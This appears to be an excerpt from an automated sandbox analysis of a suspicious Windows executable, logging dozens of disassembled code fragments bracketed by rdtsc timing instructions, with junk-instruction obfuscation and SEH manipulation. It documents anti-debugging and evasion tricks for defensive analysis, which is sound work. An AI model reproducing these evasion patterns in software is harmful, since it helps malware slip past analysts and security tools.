Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6D743E second address: 6D7451 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jg 00007FE1C0EF51E6h 0x0000000c jno 00007FE1C0EF51E6h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6D7451 second address: 6D7475 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0B69E45h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FE1C0B69E3Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6D7475 second address: 6D74A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE1C0EF51F1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE1C0EF51EDh 0x00000014 push eax 0x00000015 push edx 0x00000016 jns 00007FE1C0EF51E6h 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6D74A7 second address: 6D74C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE1C0B69E46h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6D7643 second address: 6D765B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007FE1C0EF51E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007FE1C0EF51ECh 0x00000012 jnl 00007FE1C0EF51E6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6D765B second address: 6D7665 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE1C0B69E42h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6D7918 second address: 6D792D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51EBh 0x00000007 jne 00007FE1C0EF51E6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6D792D second address: 6D794A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FE1C0B69E48h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6D7AD6 second address: 6D7ADA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6D7ADA second address: 6D7AE0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6D7AE0 second address: 6D7AEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6D7AEA second address: 6D7B01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FE1C0B69E36h 0x0000000a jno 00007FE1C0B69E36h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6D7C54 second address: 6D7C62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51EAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6D7C62 second address: 6D7C68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6D7C68 second address: 6D7C6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6D7C6D second address: 6D7C79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6D9CE4 second address: 6D9CE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6D9CE8 second address: 6D9CEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6DC781 second address: 6DC78B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6DC78B second address: 6DC78F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6DC806 second address: 6DC81B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jg 00007FE1C0EF51E6h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6DC81B second address: 6DC825 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FE1C0B69E36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6DC825 second address: 6DC839 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE1C0EF51E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 pushad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6DC839 second address: 6DC851 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE1C0B69E3Bh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007FE1C0B69E36h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6DC851 second address: 6DC855 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6DC855 second address: 6DC89C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a pushad 0x0000000b jne 00007FE1C0B69E36h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 jmp 00007FE1C0B69E3Ch 0x00000019 popad 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e jnp 00007FE1C0B69E3Ch 0x00000024 pushad 0x00000025 push edi 0x00000026 pop edi 0x00000027 pushad 0x00000028 popad 0x00000029 popad 0x0000002a pop eax 0x0000002b sub dword ptr [ebp+122D1B35h], edi 0x00000031 push D17C847Eh 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a ja 00007FE1C0B69E36h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6DC89C second address: 6DC8A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6DC8A0 second address: 6DC8A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6DC8A6 second address: 6DC8AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6DCC0B second address: 6DCC0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6DCCD4 second address: 6DCCDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6DCCDA second address: 6DCCE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FE1C0B69E36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6DCEB4 second address: 6DCEB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6DCEB8 second address: 6DCEBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6DD4A6 second address: 6DD4EE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007FE1C0EF51E8h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 00000015h 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 mov esi, edi 0x00000025 nop 0x00000026 jmp 00007FE1C0EF51F8h 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6DD4EE second address: 6DD4F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6DD4F2 second address: 6DD4F8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6DD84D second address: 6DD853 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6DD853 second address: 6DD859 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6DF9F4 second address: 6DFA70 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FE1C0B69E3Ch 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FE1C0B69E41h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007FE1C0B69E38h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 0000001Dh 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c jnc 00007FE1C0B69E3Bh 0x00000032 push 00000000h 0x00000034 jmp 00007FE1C0B69E48h 0x00000039 push 00000000h 0x0000003b push eax 0x0000003c jc 00007FE1C0B69E44h 0x00000042 push eax 0x00000043 push edx 0x00000044 push esi 0x00000045 pop esi 0x00000046 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6DFA70 second address: 6DFA74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6E105D second address: 6E1067 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FE1C0B69E36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6E1CC6 second address: 6E1CCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6E2772 second address: 6E2817 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE1C0B69E36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push eax 0x0000000d jmp 00007FE1C0B69E42h 0x00000012 pop eax 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007FE1C0B69E38h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 00000015h 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push esi 0x00000035 call 00007FE1C0B69E38h 0x0000003a pop esi 0x0000003b mov dword ptr [esp+04h], esi 0x0000003f add dword ptr [esp+04h], 0000001Dh 0x00000047 inc esi 0x00000048 push esi 0x00000049 ret 0x0000004a pop esi 0x0000004b ret 0x0000004c mov dword ptr [ebp+122D188Ch], edx 0x00000052 je 00007FE1C0B69E4Fh 0x00000058 jnl 00007FE1C0B69E49h 0x0000005e xchg eax, ebx 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 jnp 00007FE1C0B69E36h 0x00000068 jmp 00007FE1C0B69E3Eh 0x0000006d popad 0x0000006e rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6E2817 second address: 6E2839 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jbe 00007FE1C0EF51E6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FE1C0EF51EFh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6E2839 second address: 6E283F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6E283F second address: 6E2845 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6E2845 second address: 6E2849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6E30A5 second address: 6E30AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6E3BCF second address: 6E3BD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6E6BFE second address: 6E6C02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6E6C02 second address: 6E6C08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6E6C08 second address: 6E6C40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51F4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dword ptr [ebp+1246FD45h], ecx 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 mov dword ptr [ebp+122D2D30h], eax 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 jp 00007FE1C0EF51E6h 0x00000026 pushad 0x00000027 popad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6E5EC7 second address: 6E5ECB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6E6C40 second address: 6E6C46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6E5ECB second address: 6E5F58 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 jmp 00007FE1C0B69E45h 0x0000000d nop 0x0000000e mov bl, dl 0x00000010 push dword ptr fs:[00000000h] 0x00000017 xor di, EFF2h 0x0000001c mov dword ptr fs:[00000000h], esp 0x00000023 mov ebx, 5B80AC0Ch 0x00000028 mov edi, 588F96C3h 0x0000002d mov eax, dword ptr [ebp+122D070Dh] 0x00000033 mov edi, dword ptr [ebp+1246F501h] 0x00000039 push FFFFFFFFh 0x0000003b push 00000000h 0x0000003d push ebp 0x0000003e call 00007FE1C0B69E38h 0x00000043 pop ebp 0x00000044 mov dword ptr [esp+04h], ebp 0x00000048 add dword ptr [esp+04h], 00000014h 0x00000050 inc ebp 0x00000051 push ebp 0x00000052 ret 0x00000053 pop ebp 0x00000054 ret 0x00000055 and ebx, dword ptr [ebp+122D2290h] 0x0000005b nop 0x0000005c jnl 00007FE1C0B69E44h 0x00000062 push eax 0x00000063 push eax 0x00000064 push edx 0x00000065 jno 00007FE1C0B69E38h 0x0000006b rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6E5F58 second address: 6E5F62 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE1C0EF51ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6E7B30 second address: 6E7B86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FE1C0B69E3Fh 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e jmp 00007FE1C0B69E45h 0x00000013 push 00000000h 0x00000015 jmp 00007FE1C0B69E44h 0x0000001a push 00000000h 0x0000001c mov edi, ebx 0x0000001e xchg eax, esi 0x0000001f push eax 0x00000020 push edx 0x00000021 jns 00007FE1C0B69E3Ch 0x00000027 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6E8D3D second address: 6E8D50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FE1C0EF51E6h 0x0000000a popad 0x0000000b jl 00007FE1C0EF51ECh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6E7D8B second address: 6E7D99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jng 00007FE1C0B69E36h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6ECB89 second address: 6ECC14 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE1C0EF51F9h 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f jne 00007FE1C0EF51EBh 0x00000015 push dword ptr fs:[00000000h] 0x0000001c mov ebx, dword ptr [ebp+122D218Ch] 0x00000022 mov dword ptr fs:[00000000h], esp 0x00000029 push 00000000h 0x0000002b push ebp 0x0000002c call 00007FE1C0EF51E8h 0x00000031 pop ebp 0x00000032 mov dword ptr [esp+04h], ebp 0x00000036 add dword ptr [esp+04h], 0000001Ah 0x0000003e inc ebp 0x0000003f push ebp 0x00000040 ret 0x00000041 pop ebp 0x00000042 ret 0x00000043 sub edi, 50236FA7h 0x00000049 mov eax, dword ptr [ebp+122D1721h] 0x0000004f xor dword ptr [ebp+1246F403h], edx 0x00000055 push FFFFFFFFh 0x00000057 push esi 0x00000058 mov di, 8709h 0x0000005c pop ebx 0x0000005d nop 0x0000005e push eax 0x0000005f push edx 0x00000060 jmp 00007FE1C0EF51EAh 0x00000065 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6EDB9F second address: 6EDBA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6EDBA5 second address: 6EDBAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6EFA80 second address: 6EFB1A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 nop 0x00000008 add di, 2F63h 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007FE1C0B69E38h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000014h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 sub dword ptr [ebp+122D2D43h], ebx 0x0000002f mov edi, 7CEB519Ch 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push ecx 0x00000039 call 00007FE1C0B69E38h 0x0000003e pop ecx 0x0000003f mov dword ptr [esp+04h], ecx 0x00000043 add dword ptr [esp+04h], 00000018h 0x0000004b inc ecx 0x0000004c push ecx 0x0000004d ret 0x0000004e pop ecx 0x0000004f ret 0x00000050 mov bx, cx 0x00000053 jnc 00007FE1C0B69E44h 0x00000059 xchg eax, esi 0x0000005a jns 00007FE1C0B69E44h 0x00000060 push eax 0x00000061 pushad 0x00000062 jmp 00007FE1C0B69E41h 0x00000067 push esi 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6F4B74 second address: 6F4B7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6F4B7A second address: 6F4B8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE1C0B69E3Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6F74D9 second address: 6F74DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6F832B second address: 6F8385 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FE1C0B69E36h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007FE1C0B69E38h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 0000001Bh 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b mov dword ptr [ebp+1246FC0Eh], esi 0x00000031 cld 0x00000032 push 00000000h 0x00000034 pushad 0x00000035 sub eax, dword ptr [ebp+122D1B80h] 0x0000003b xor esi, dword ptr [ebp+122D2B13h] 0x00000041 popad 0x00000042 push 00000000h 0x00000044 sub dword ptr [ebp+1246FD45h], eax 0x0000004a xchg eax, esi 0x0000004b push eax 0x0000004c push edx 0x0000004d push edx 0x0000004e pushad 0x0000004f popad 0x00000050 pop edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6F2DC3 second address: 6F2DC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6F534E second address: 6F540D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jne 00007FE1C0B69E36h 0x0000000d pop edx 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 jmp 00007FE1C0B69E3Fh 0x00000017 push dword ptr fs:[00000000h] 0x0000001e mov ebx, esi 0x00000020 mov ebx, dword ptr [ebp+122D25D8h] 0x00000026 mov dword ptr fs:[00000000h], esp 0x0000002d jmp 00007FE1C0B69E46h 0x00000032 mov eax, dword ptr [ebp+122D01D1h] 0x00000038 push edx 0x00000039 mov bx, di 0x0000003c pop edi 0x0000003d jmp 00007FE1C0B69E42h 0x00000042 push FFFFFFFFh 0x00000044 push 00000000h 0x00000046 push ecx 0x00000047 call 00007FE1C0B69E38h 0x0000004c pop ecx 0x0000004d mov dword ptr [esp+04h], ecx 0x00000051 add dword ptr [esp+04h], 0000001Dh 0x00000059 inc ecx 0x0000005a push ecx 0x0000005b ret 0x0000005c pop ecx 0x0000005d ret 0x0000005e call 00007FE1C0B69E44h 0x00000063 mov dword ptr [ebp+122D3AC2h], ebx 0x00000069 pop ebx 0x0000006a push eax 0x0000006b push eax 0x0000006c push edx 0x0000006d jmp 00007FE1C0B69E40h 0x00000072 rdtsc
